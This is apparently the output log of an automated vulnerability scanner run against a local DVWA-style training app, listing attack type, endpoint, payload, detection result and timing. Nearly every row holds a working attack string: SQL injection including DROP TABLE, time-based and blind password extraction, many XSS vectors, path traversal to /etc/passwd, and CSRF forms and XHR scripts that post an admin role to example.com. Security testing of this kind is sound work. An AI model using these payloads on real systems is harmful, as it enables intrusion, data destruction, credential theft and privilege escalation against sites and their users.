csrf	http://localhost:8000/login.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.24s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR '1'='1	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR 1=1 --	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR 'a'='a	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/brute	'; DROP TABLE users; --	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR '1'='1' /*	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR '1'='1' ({	SQL Injection	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/brute	admin' --	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR '1'='1' #	SQL Injection (Differential)	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/brute	1' OR sleep(5)--	SQL Injection	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/brute	' UNION SELECT NULL, NULL, NULL --	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/brute	' AND 1=2 UNION SELECT 1,2,3 --	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR EXISTS(SELECT * FROM users) --	SQL Injection	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	SQL Injection	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/brute	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	SQL Injection	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/brute	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.01s

xss	http://localhost:8000/vulnerabilities/brute	<body onload=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	Click	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<script>$=1,alert($)</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/brute	<script>alert(1)	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<script>alert(1)<!--XSS	No vulnerability detected	200	0.12s
xss	http://localhost:8000/vulnerabilities/brute	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/brute	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/brute	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/brute	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/brute	../../etc/passwd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/brute	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/brute	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/brute	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/brute	Click Me	CSRF	200	0.03s
csrf	http://localhost:8000/vulnerabilities/brute	<img src='http://example.com/api/setusername?username=CSRFd'>	CSRF	200	0.02s

csrf	http://localhost:8000/vulnerabilities/brute	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/brute	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/brute	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/brute	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/brute	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	CSRF	200	0.02s

csrf	http://localhost:8000/vulnerabilities/brute	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR 1=1 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csp	'; DROP TABLE users; --	No vulnerability detected	200	0.07s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR '1'='1' /*	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR '1'='1' ({	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/csp	admin' --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR '1'='1' #	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/csp	1' OR sleep(5)--	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/csp	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csp	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csp	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<script>alert('XSS')</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csp	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/csp	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.02s

xss	http://localhost:8000/vulnerabilities/csp	<body onload=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csp	Click	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<script>$=1,alert($)</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csp	<script>alert(1)	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csp	<script>alert(1)<!--XSS	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csp	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/csp	../../etc/passwd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/csp	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/csp	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/csp	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csp	Click Me	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csp	<img src='http://example.com/api/setusername?username=CSRFd'>	No vulnerability detected	200	0.01s

csrf	http://localhost:8000/vulnerabilities/csp	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csp	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csp	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/csp	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csp	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.01s

csrf	http://localhost:8000/vulnerabilities/csp	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/security.php	' OR '1'='1	No vulnerability detected	200	0.00s
sql_injection	http://localhost:8000/security.php	' OR 1=1 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/security.php	' OR 'a'='a	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/security.php	'; DROP TABLE users; --	No vulnerability detected	200	0.00s
sql_injection	http://localhost:8000/security.php	' OR '1'='1' /*	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/security.php	' OR '1'='1' ({	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/security.php	admin' --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/security.php	' OR '1'='1' #	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/security.php	1' OR sleep(5)--	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/security.php	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/security.php	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/security.php	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/security.php	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/security.php	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.01s

xss	http://localhost:8000/security.php	<body onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/security.php	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	Click	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<script>$=1,alert($)</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<script>alert(1)	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<script>alert(1)<!--XSS	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/security.php	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.00s
path_traversal	http://localhost:8000/security.php	../../etc/passwd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/security.php	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/security.php	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/security.php	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/security.php	Click Me	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/security.php	<img src='http://example.com/api/setusername?username=CSRFd'>	No vulnerability detected	200	0.01s

csrf	http://localhost:8000/security.php	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/security.php	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/security.php	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/security.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/security.php	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.01s

csrf	http://localhost:8000/security.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR '1'='1	SQL Injection (Differential)	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR 1=1 --	SQL Injection (Differential)	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR 'a'='a	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/csrf	'; DROP TABLE users; --	SQL Injection (Differential)	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR '1'='1' /*	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR '1'='1' ({	SQL Injection (Differential)	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csrf	admin' --	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR '1'='1' #	SQL Injection (Differential)	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csrf	1' OR sleep(5)--	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' UNION SELECT NULL, NULL, NULL --	SQL Injection (Differential)	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' AND 1=2 UNION SELECT 1,2,3 --	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR EXISTS(SELECT * FROM users) --	SQL Injection (Differential)	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	SQL Injection (Differential)	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	<script>alert('XSS')</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csrf	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csrf	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	<iframe src="javascript:alert("XSS")"></iframe>	No vulnerability detected	200	0.02s

xss	http://localhost:8000/vulnerabilities/csrf	<body onload=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csrf	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csrf	Click	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csrf	<script>$=1,alert($)</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	<script>alert(1)	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csrf	<script>alert(1)<!--XSS	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csrf	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/csrf	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/csrf	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/csrf	../../etc/passwd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/csrf	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/csrf	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/csrf	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/csrf	Click Me	CSRF	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csrf	<img src='http://example.com/api/setusername?username=CSRFd'>	CSRF	200	0.01s

csrf	http://localhost:8000/vulnerabilities/csrf	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	CSRF	200	0.02s
csrf	http://localhost:8000/vulnerabilities/csrf	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	CSRF	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csrf	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	CSRF	200	0.02s
csrf	http://localhost:8000/vulnerabilities/csrf	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	CSRF	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csrf	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	CSRF	200	0.02s

csrf	http://localhost:8000/vulnerabilities/csrf	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	CSRF	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR 1=1 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/captcha	'; DROP TABLE users; --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR '1'='1' /*	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR '1'='1' ({	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/captcha	admin' --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR '1'='1' #	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/captcha	1' OR sleep(5)--	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/captcha	<script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/captcha	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.01s

xss	http://localhost:8000/vulnerabilities/captcha	<body onload=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	Click	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/captcha	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/captcha	<script>$=1,alert($)</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	<script>alert(1)	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	<script>alert(1)<!--XSS	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/captcha	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/captcha	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/captcha	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/captcha	../../etc/passwd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/captcha	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/captcha	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/captcha	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/captcha	Click Me	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/captcha	<img src='http://example.com/api/setusername?username=CSRFd'>	No vulnerability detected	200	0.02s

csrf	http://localhost:8000/vulnerabilities/captcha	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/captcha	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/captcha	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/captcha	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/captcha	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.01s

